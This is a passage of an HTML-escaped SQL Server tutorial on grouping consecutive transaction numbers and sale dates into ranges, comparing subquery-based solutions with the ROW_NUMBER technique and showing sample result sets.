/&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2009-12-09&amp;nbsp;160.00&lt;br /&gt;12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2009-12-11&amp;nbsp;250.00&lt;br /&gt;&lt;br /&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;The requirement is to return the following two result sets:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: green;"&gt;/*&lt;br /&gt;&lt;br /&gt;Ranges&amp;nbsp;by&amp;nbsp;transaction_nbr:&lt;br /&gt;&lt;br /&gt;range_start&amp;nbsp;range_end&lt;br /&gt;-----------&amp;nbsp;-----------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&lt;br /&gt;9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;9&lt;br /&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;12&lt;br /&gt;&lt;br /&gt;Ranges&amp;nbsp;by&amp;nbsp;sale_date:&lt;br /&gt;&lt;br /&gt;range_start&amp;nbsp;range_end&lt;br /&gt;-----------&amp;nbsp;----------&lt;br /&gt;2009-12-01&amp;nbsp;&amp;nbsp;2009-12-04&lt;br /&gt;2009-12-07&amp;nbsp;&amp;nbsp;2009-12-09&lt;br /&gt;2009-12-11&amp;nbsp;&amp;nbsp;2009-12-11&lt;br /&gt;&lt;br /&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;On versions prior to SQL Server 2005, a very common solution is to find the grouping factor for the ranges by using a subquery to find the minimum value in the range and then group all consecutive values in the range based on that. For transaction numbers the query to find grouping factor looks like this:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;MIN&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;B.transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;B&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;WHERE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;B.transaction_nbr&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;&amp;gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;A.transaction_nbr&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;AND&amp;nbsp;NOT&amp;nbsp;EXISTS&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;C&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;WHERE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;C.transaction_nbr&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;B.transaction_nbr&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;+&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;1&lt;/span&gt;&lt;span style="color: grey;"&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;A&lt;/span&gt;&lt;span style="color: grey;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;Here is the result set:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: green;"&gt;/*&lt;br /&gt;&lt;br /&gt;transaction_nbr&amp;nbsp;grp&lt;br /&gt;---------------&amp;nbsp;-----------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&lt;br /&gt;4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&lt;br /&gt;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&lt;br /&gt;6&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&lt;br /&gt;9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;9&lt;br /&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;12&lt;br /&gt;12&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;12&lt;br /&gt;&lt;br /&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;It is easy to see the groups created by the subquery. Now the task to finalize ranges is very trivial, simply grouping by the grouping factor and retrieving the MIN and MAX values in the range:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;MIN&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_start&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;MAX&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_end&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;MIN&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;B.transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;B&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;WHERE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;B.transaction_nbr&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;&amp;gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;A.transaction_nbr&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;AND&amp;nbsp;NOT&amp;nbsp;EXISTS&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;C&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;WHERE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;C.transaction_nbr&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;B.transaction_nbr&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;+&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;1&lt;/span&gt;&lt;span style="color: grey;"&gt;))&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;A&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;T&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;GROUP&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;/span&gt;&lt;span style="color: grey;"&gt;;&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;This query satisfies the first task to find ranges by transaction number:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: green;"&gt;/*&lt;br /&gt;&lt;br /&gt;range_start&amp;nbsp;range_end&lt;br /&gt;-----------&amp;nbsp;-----------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;6&lt;br /&gt;9&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;9&lt;br /&gt;11&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;12&lt;br /&gt;&lt;br /&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;The logic for finding ranges by sale date is very similar. The only difference is that the subquery to find the grouping factor uses the date/time functions in SQL Server to check if the dates are consecutive. Here is the query solving the second task and the corresponding result set:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;MIN&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_start&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;MAX&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;range_end&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;MIN&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: black;"&gt;B.sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;B&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;WHERE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;B.sale_date&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;&amp;gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;A.sale_date&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;AND&amp;nbsp;NOT&amp;nbsp;EXISTS&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;(&lt;/span&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;*&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;C&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;WHERE&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;C.sale_date&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;=&amp;nbsp;&lt;/span&gt;&lt;span style="color: magenta;"&gt;DATEADD&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: magenta;"&gt;DAY&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;1&lt;/span&gt;&lt;span style="color: grey;"&gt;,&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;B.sale_date&lt;/span&gt;&lt;span style="color: grey;"&gt;)))&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;A&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;T&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;GROUP&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;/span&gt;&lt;span style="color: grey;"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;br /&gt;&lt;br /&gt;range_start&amp;nbsp;range_end&lt;br /&gt;-----------&amp;nbsp;----------&lt;br /&gt;2009-12-01&amp;nbsp;&amp;nbsp;2009-12-04&lt;br /&gt;2009-12-07&amp;nbsp;&amp;nbsp;2009-12-09&lt;br /&gt;2009-12-11&amp;nbsp;&amp;nbsp;2009-12-11&lt;br /&gt;&lt;br /&gt;*/&lt;/span&gt;&lt;/pre&gt;&lt;br /&gt;While in this example the query does not look so difficult, with more complex scenarios it can become very difficult to understand, and performance will not be great. &lt;br /&gt;&lt;br /&gt;SQL Server 2005 introduced the ranking functions (ROW_NUMBER, RANK, DENSE_RANK, and NTILE). This provides a new tool to solve out problem in more simplified and efficient manner. We can use a very simple math to find the grouping factor. Take a look at the following query and the results:&lt;br /&gt;&lt;br /&gt;&lt;pre style="font-size: 12px;"&gt;&lt;span style="color: blue;"&gt;SELECT&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;ROW_NUMBER&lt;/span&gt;&lt;span style="color: grey;"&gt;()&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;OVER&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;ORDER&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;rk&lt;/span&gt;&lt;span style="color: grey;"&gt;,&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&amp;nbsp;&lt;/span&gt;&lt;span style="color: grey;"&gt;-&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;ROW_NUMBER&lt;/span&gt;&lt;span style="color: grey;"&gt;()&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;OVER&lt;/span&gt;&lt;span style="color: grey;"&gt;(&lt;/span&gt;&lt;span style="color: blue;"&gt;ORDER&amp;nbsp;BY&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;transaction_nbr&lt;/span&gt;&lt;span style="color: grey;"&gt;)&amp;nbsp;&lt;/span&gt;&lt;span style="color: blue;"&gt;AS&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;grp&lt;br /&gt;&lt;/span&gt;&lt;span style="color: blue;"&gt;FROM&amp;nbsp;&lt;/span&gt;&lt;span style="color: black;"&gt;Sales&lt;/span&gt;&lt;span style="color: grey;"&gt;;&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: green;"&gt;/*&lt;br /&gt;&lt;br /&gt;transaction_nbr&amp;nbsp;rk&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;grp&lt;br /&gt;---------------&amp;nbsp;--------------------&amp;nbsp;--------------------&lt;br /&gt;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;0&lt;br /&gt;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;2&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;3&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br /&gt;5&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;4&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;1&lt;br 